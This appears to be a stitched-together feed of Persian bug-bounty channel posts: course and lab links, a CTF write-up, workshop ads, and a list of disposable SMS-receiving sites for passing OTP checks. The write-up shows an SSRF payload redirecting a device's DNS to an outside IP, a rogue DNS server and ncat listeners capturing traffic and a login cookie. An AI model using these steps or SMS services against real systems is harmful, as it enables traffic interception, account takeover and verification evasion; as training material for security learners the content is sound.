سلام رفقا

تصمیم گرفتم که اموزش اسیب پذیری هارو شروع کنم
تو سری اول اموزش میریم سراغ اسیب پذیری SQLi با عنوان SQLi 0 to master

تو پارت اول رفتیم سراغ پیش نیاز هایی که باید بلد باشیم

امید وارم این دوره مفید باشه براتون ❤️

https://youtu.be/ZW6OVWRY5-M

سلام دوستان اقا چند وقت پیش داشتم درباره آسیب پذیری open redirect می خوندم.
یهو به ذهنم رسید شروع کنم به ساختن lab های لول بندی شده (php) که بهتر بتونم این باگو درک کنم.
از لول ۱ تا ۱۰ لول بندی کردم از آسان به سخت.
و به شما یاد می ده چجوری با استفاده از open redirect به SSRF , XSS , CRLF , OAuth Token theft برسید.
تمام level هارو بر اساس چیزای که توی real world بوده طراحی کردم.
سورس کد هر لول هم در دسترس هست و حتا راهنما هایی هم وجود داره.

دوس داستید یه سر بزنید و علم خودتونو محک بزنید.

https://github.com/zoly-zoly/Open-Redirect-Lab

S').click(function() {
    var server = $('input[name="dns_server"]').val();
    $.get('/set/dns?server=' + server, function(resp) {
        alert(resp);
    });
});

توی این بخش اگه بتونیم SET/DNS کنترل کنیم میشه گفت عملا میتونیم به ترافیک دسترسی داشته باشیم پس توی این بخش با استفاده از این کد یه dns server راه انداختیم https://gist.githubusercontent.com/pklaus/b5a7876d4d2cf7271873/raw/cb089513b185f4128d956eef6e0fb9f5fd583e41/ddnsserver.py
و روی پورت 443 با netcat روی لیستن میزاریم : ncat -lv 443 و توی بخش بعدی این درخواستو ارسال میکنیم:

POST /connection-test HTTP/1.1
Host: 178.62.61.49
...
node=192.168.1.1/set/dns?server=173.230.148.69#

در نتیجه درخواست به سرور ما میومد ولی چون ssl بود و ما گواهیشو نداشتیم یه مشت چرندیاتو میدیدیم و با رفتن به بخش اول که شروع کردیم و یه مقدار گشتن به اینurl میرسیم https://www.googletagmaneger.com/event?include=asdf که یه خطای xdebug به ما نشون داد و خطا نشون دهده LFI بود ولی کاراکتر های @ , / توی بلک لیست بودن و با استفاده از آیپی خود سایت با یه مقدار fuzz به این بخش رسیدیم http://142.93.46.249/datacollection/ssl/ و الان ssl داشتیم و کدی که اون بالا بود اجرا کردیم :
python3 dns.py --port 53 –udp
و بعد این دستورو به netcat اضافه کردیم:
ncat -lv 443 --ssl-cert=/home/CTF/certs/fullchain.pem --ssl-key=/home/CTF/certs/privkey.pem
و بعد همون درخواستو تکرار کردیم و تماممم SSRF و ترافیکو گرفتیم و کارو جمع کرد

GET /api/poll HTTP/1.1
Host: www.googletagmaneger.com
User-Agent: curl/7.58.0
Accept: */*
X-Token: 779549E7865D034D9A9DB34401DA2157

بعد هم با یه مقدار fuzz به بخش /api/cookie رسیدیم و با ارسال درخواست به این بخش تونستیم کوکی معتبر رو دریافت کنیم:

HTTP/1.1 200 OK
...
{"description":"Login Cookie","data":"NzQ1NWYxYmJkYzczM2YwYTkzMzg2MjE5MmIxNTFhN2VlNGI0NmQyM2EwYjNlMzBiMzc3NGE2NTVhYzE5MzBiMDE1MWY2NGQ5MzE1ZjJhZmEzY2VlYTcyZDFlNjNmMjQ3YTZhNTQzM2U1ODBjOWIzZGJhYWQyMmNiZTcxYzU5NTA="}

و در نهایت این کوکی برای سایت اول ست میکنیم و flag به دست میاریم.

https://buer.haus/2020/06/14/nahamcon-trash-the-cache-write-up-web-1000/

روش جدید Email Verification API که به تازگی پیاده‌سازی شده و در مرحله تریال هستش و فعلا با جمیل کار میکنه. این یک روش جدید برای وریفای کردن ایمیل بصورت مستقیم از طریق مرورگره.
معمولاً سایت از طریق OTP یا مجیک لینک ها استفاده میکنند که این روش برای کاربران گشاد زجر آوره و ممکنه بیخیال ثبت نام در سایت بشن و برن و دیگه برنگردن. به همین اومدن چنین API رو پیاده سازی کردن.
برای پیاده سازی این ای پی آی ما چند متاع لازم داریم:
- کاربر
- مرورگر
- ارائه دهنده ایمیل
ـ سرور

فرآیندش چطوریه؟
- کاربر وارد حساب ایمیلش میشه.
ارائه‌دهنده ایمیل، وضعیت ورود کاربر را در میده مرورگر.
ـ بعداً کاربر آدرس ایمیلش رو مثلا در فرم سایت شما وارد می‌کنه.
ـ مرورگر بررسی می‌کند که آیا این آدرس ایمیل با حسابی که کاربر در فرم ثبت نام وارد کرده مرتبطه یا نه.
ـاگر مرتبط باشه، مرورگر و ارائه‌دهنده ایمیل دست به دست هم میدن و Token تولید می‌کنن.
ـ این Token به‌صورت خودکار داخل یک فیلد مخفی توی فرم قرار می‌گیره.
- بعدش کاربر فرم رو ارسال می‌کنه.
ـ سرور شما آدرس ایمیل و Token رو دریافت می‌کنه
ـ سرور Token را اعتبارسنجی میکنه.
اگر اعتبارسنجی موفق باشه، مشخص می‌شه که کاربر گوزه کدوم کونه. منظورم مشخص میشه که کاربر واقعاً مالک اون ادرس ایمیل هست یا نه.

نحوه پیاده سازی و جزییات بیشتر رو اینجا میتونید بخونید.

بنظر شما چه سناریو هایی برای کش رفتن توکن از این طریق میشه درآورد؟

Email Verification API

سریال قشنگیه ولی فصل ۴ قراره بیاد
منو قفل کرد تمام ۸.۱ از ۱۰ توصیه میکنم ببینیدش

برای دومین بار بنا به درخواست فراوانی که در این چهار سال داشتیم که کارگاه هایی برگزار شود که به صورت تخصصی فقط به یک بخش خاص اشاره شود و کوتاه باشد
و دومین کارگاه با یکی دیگر از اسیب پذیری مورد علاقه خودم شروع خواهد شد :
Broken access control
بی راه نیست اگه بگم 35 درصد کل بانتی دو سال اخیر من با این تایپ حمله بوده

9 مهر:‌ درک این اسیب پذیری به همراه حل مثال ها فراوان
16 مهر:‌ بررسی عمیق این اسیب پذیری از دید تجربه و مثال ها متنوعد
23 مهر:‌ ترکیب اسیب پذیری ها کم ارزش با این اسیب پذیری برای تبدیل گزارش های مختلف به گزارش های کرتیکال
30 مهر:‌ لایو هکینگ و هانتینگ


نکته: تقریبا با این تایپ حمله بسیاری از xss های من تبدیل به کرتیکال شد!




برای ثبت نام میتوانید از لینک زیر استفاده کنید:


https://www.instagram.com/s/aGlnaGxpZ2h0OjE3OTAxODAzNzE4NTg5MDI3?story_media_id=3979547667200320168&stkn=MW15czFmNXd1NmhtMA==

به یاد پوریای عزیز 🖤💔

دریافت پیامک برای وقتایی که otp کد میخواید این سایت های بعضی هاشون رایگانند

SMS-Activate：hero-sms.com
5Sim：5sim.net/zh
SMS-Man：sms-man.com
Tiger-SMS：tiger-sms.com
PingMe：pingme.tel
SMSSir：smssir.com
OnlineSim：onlinesim.io
GlobalSMS：globalsms.io
Receive an SMS：receive-a-sms.com
SMS Receive free：smsreceivefree.com
Online SMS：sms-online.co
Receive SMS online：smsreceiveonline.com
Get a free SMS number：getfreesmsnumber.com
Receive SMS：sms-receive.net
Receive SMS Online NET：receivesmsonline.net
Free SMS checks：freesmsverifications.com
7 SIM NET：7sim.net
HS3X：hs3x.com
Receive free SMS：receivefreesms.com
Receive free SMS NET：receivefreesms.net
Receive SMS Online IN：receivesmsonline.in
Receive SMS online：receive-sms-online.com
See SMS：smsver.com
Groovl：groovl.com
SMS.SELLAITE：sms.sellaite.com
Send SMS now：sendsmsnow.com
Receive SMS online EU：receivesmsonline.eu
Proovl：proovl.com/numbers
Anon SMS：anon-sms.com
Hide my numbers：hidemynumbers.com
Pinger：pinger.com
Free online phone：freeonlinephone.org
Capture SMS：catchsms.com
SMS Get：smsget.net
1S2U：1s2u.com
Receive SMS：getsms.org
Vritty：virtty.com
Text anywhere：textanywhere.net
Receive SMS online ME：receivesmsonline.me
Purchase virtual number：virtualnumberbuy.com
Free Receive SMS online：freereceivesmsonline.com
NDTAN SMS：sms.ndtan.net
SMS Listen：smslisten.com
Free virtual SMS number：freevirtualsmsnumber.com
SMS Tibo：smstibo.com
Receive SMS number：receivesmsnumber.com
Free SMS code：freesmscode.com
Online SMS numbers：smsnumbersonline.com
SMS reception：smsreceiving.com

بریم کتاب بخونیم!!!

قسمت سوم کتاب The Hacker's Mindset منتشر شد.

امیدوارم مفید باشه ❤️


https://youtu.be/H-6gzIB4MJ8

https://app.agniops.in/v1/search?domain=x.com

اینم همینطور

قوانین پلتفرم و پروگرم میگه باید ۱۵۰۰ دلار بگیری؟
اینجا یادمیگیری تبدیلش کنی ۴۵۰۰$
تجربه واقعی (به صورت وویس)

https://www.instagram.com/stories/pentesterland/3997531707150325940?utm_source=ig_story_item_share&stkn=MTNlOGU2bzIzcmp3bw==

خیلیا دنبال بهونن شروع نکنند و انجامش ندن
تو انجامش بده در هرحالتی


https://www.instagram.com/reel/DeKRWuIO5uP/?stkn=MTRhZDdhbGc5MnI0MQ==

وقتی هم معلم کلاس اولی و هم سوم و باید خلاق باشی 😂 دوستان عزیز ایده بدید
برای تشویق چیکارا کنم

چرا خیلیا هانت می‌کنن ولی خیلیا «هانتر موفق نمی‌شن»؟ 🧐🛡️

در پیام مفصلی که براتون ارسال می شود به تک تک این موارد نگاه شده، که ببینیم چرا یک دانشجو ده هزارتا میزنه، یکی حتی به اون مرحله نمیرسه
جز اموزش و مسیر اموزشی پارامتر ها دیگه چیه؟

https://www.instagram.com/reel/DeRyWkuNUl8/?mdxt=MXR5eG1pY20xbnFqbg==

CVE-2026-107181 Telegram Desktop one-click account takeover via IPC injection
*
POC + writeUP

از بس عشقید و لطف داشتید از صبح سر این مدل خاطرات من این سری این یکی رو تبدیل به ریلز کردم
توضیحات تکمیلش از طریق پیام براتون ارسال میشه فقط قبل از اون حتما ریلز رو به همراه کپشن ببینید ❤️🙏🏼



https://www.instagram.com/reel/DeZAkwYOqwz/?cplk=MW4yYWtvamlyMXRkaw==